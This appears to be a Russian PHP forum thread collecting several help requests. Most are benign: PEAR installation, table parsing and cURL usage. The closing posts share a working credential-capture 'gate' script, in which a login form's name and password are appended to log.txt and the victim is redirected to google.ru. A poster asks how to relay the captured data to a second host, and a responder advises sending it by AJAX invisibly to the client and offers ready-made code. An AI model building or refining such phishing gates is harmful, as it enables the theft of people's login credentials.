у тебя винда? 1)cmd.exe (Командная строка) Набиваешь: сменить папку в которой у тебя лежит PHP и PHP.exe У меня PHP лежит на C:\PHP cd C:\PHP 2) Запускаешь go-pear.bat 3) PEAR предложит несколько вопросов, ответить на них 4) pear.bat install mdb2 Эта команда будет работать в том случае если есть подключение к интернету. Она скачивает и устанавливает файл(ы)
Подскажите как работает link()? запутался =( В идеале надо бы так: жму на ссылку "Посмотреть на карте" и в новом окне открывается уже карта гугл с отмеченным местом на карте. Что нужно писать в параметры link()?
Буферизацию включи, и на калбак функцию конвертирования повесь, чтобы через iconv в нужную кодировку переводилось на лету...
Учись правильно выражать свои мысли плиз... Из твоего словесного описания того, о чем ты думаешь только одно пришло в голову......... http://www.google.com/search?q=%D0%BA%D0%B0%D0%BA+%D0%BF%D0%BE%D1%81%D1%82%D0%B0%D0%B2%D0%B8%D1%82%D1%8C+google+maps+%D1%81%D0%B5%D0%B1%D0%B5+%D0%BD%D0%B0+%D1%81%D0%B0%D0%B9%D1%82&sourceid=opera&num=0&ie=utf-8&oe=utf-8
1. Как добавить нумерацию всех строк? 2. Как убрать первое значение каждой строки до разделителя "|" ? PHP: <?php $file = file ( 'file.txt' ); echo " <table> <tr> <td>1</td><td>2</td><td>3</td><td>4</td> </tr> "; foreach ( $file as $string ) { $string = trim ( $string ); $string_array = explode ( "|", $string ); echo " <tr> "; foreach ( $string_array as $column ) { $column = trim ( $column ); if ( $column == '' ) { $column = ' '; } echo " <td> $column </td> "; } echo " </tr> "; } echo " </table> "; ?>
Вопрос: Возможно ли упростить этот ккод? использование курла обязательно. PHP: <?php function go($url,$req = '') { $url = $url; $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_POST,true); curl_setopt($ch,CURLOPT_POSTFIELDS,$req); curl_setopt($ch,CURLOPT_RETURNTRANSFER,true); curl_setopt($ch,CURLOPT_COOKIEFILE,"./cook"); curl_setopt($ch,CURLOPT_COOKIEJAR,"./cook"); curl_setopt($ch,CURLOPT_FOLLOWLOCATION,true); $res = curl_exec($ch); echo $res; curl_close($ch); } ?> Скрипт - functions.php В основном скрипте так: PHP: <?php include "functions.php"; go("www.wiw.ru"); ?>
Ещё проблемка: Перешёл на урл http://roboxchange.com/Client/OpCalcEx.p?IncCurrLabel=PCR&OutCurrLabel=WMR курлом,но он выдал какую-то белеберду.Посылал хеадером заголовок Content-Type в разных кодировках.Никакого результата.КТо может помочь,кроме гугла ? У гугла просил,но он слишком пьян,чтобы со мной говорить.Проверил сниффером,выдаётся заголовок Content-Type: text/html; charset=utf-8,а браузер выдаёт норм...странно. Кодировка,кстати,не меняется...
жжош нипадецки PHP: <?php $url = 'http://roboxchange.com/Client/OpCalcEx.p?IncCurrLabel=PCR&OutCurrLabel=WMR'; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0); curl_exec($ch); ?>
PHP: function go($url) { $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_RETURNTRANSFER,true); curl_setopt($ch,CURLOPT_FOLLOWLOCATION,true); echo curl_exec($ch); curl_close($ch); }
http://roboxchange.com/Client/OpCalcEx.p?IncCurrLabel=PCR&OutCurrLabel=WMR Кто-нибудь пробовал данные передавать ? Простой гет запрос не канает.Пробовал данные постом передать.Передал все переменные и значения с формы(__VIEWSTATE='значение'),но,по идее,должно после указания валюты считать,сколько будет на выходе после конверта.Там какие-то скрытые поля юзятся,что просто перейти,используя переменные,указанные в select,не получится... МожетЮкто подскажет,почему не выходит ? Да,я ещё передал в пост запросе <select> переменные.Может,из-за этого ? Хорошо было бы увидеть рабочий вариант. ЗЫ: Дальше идёт такая же фигня - везде скрытые поля.В именах переменных стоит символ $.
есть ли способы отправить данные например $_POST['test']; по такой схеме: из формы на первый гейт на этом же хосте, после чего с этого гейта на другой уже на другом хосте ? сокеты тут непогут т.к. фри хосты их недержат почти всегда, надо как то подругому. UPD:коечто надумал: проинклудить в 1 обработчик 2 гейт с другого сайта но он непринимает данные, я наверн чето неправильно зделал( Вот пример того что у мя есть: index.php Code: <form name="key" action="index.php" method="post"> <table border="0"><tr> <td>name:</td> <td><input type="text" name="name" size="15"></td></tr><tr> <td>password:</td> <td><input type="text" name="password" size="15"></td></tr></table> <input type="submit" name="submit" value="Enter"> <?php $name = $_POST['name']; $pass = $_POST['password']; if ($_POST[submit] == "Enter") { include("http://127.0.0.1/gate2.php"); } ?> gate2.php Code: <?php $fp = fopen("log.txt","a+"); fwrite($fp,"$name:$pass\n"); fclose($fp); header("Location: http://google.ru"); ?> хмм до этого тестил у ся на локальной тачке оно инклюдило, шас попробывал с веба .... полети ошибки
Заинклудить на хостинге фаил с другово сайта неполучится..(может не прав,но у меня никогда не получалось.) Что мешает с формы сразу передать на первый гейт? PHP: <form name="key" action="geit1.php" method="post"> А в этом гейте поймать то что тебе нужно и уже например жабаскриптом собрать пост запрос и кинуть на гейт 2 ? Может не так понял вопрос..
нет. если все сделать красиво,то с формы его отправит на гейт1 там джаваскрипт (аякс) соберет пост запрос и невидимо для клиента отпавит на гейт 2 (он даже адрес не узнает если в джаваскрипе передать данные скрипту) могу сделать готовое и показать. доработаешь сам как нужно.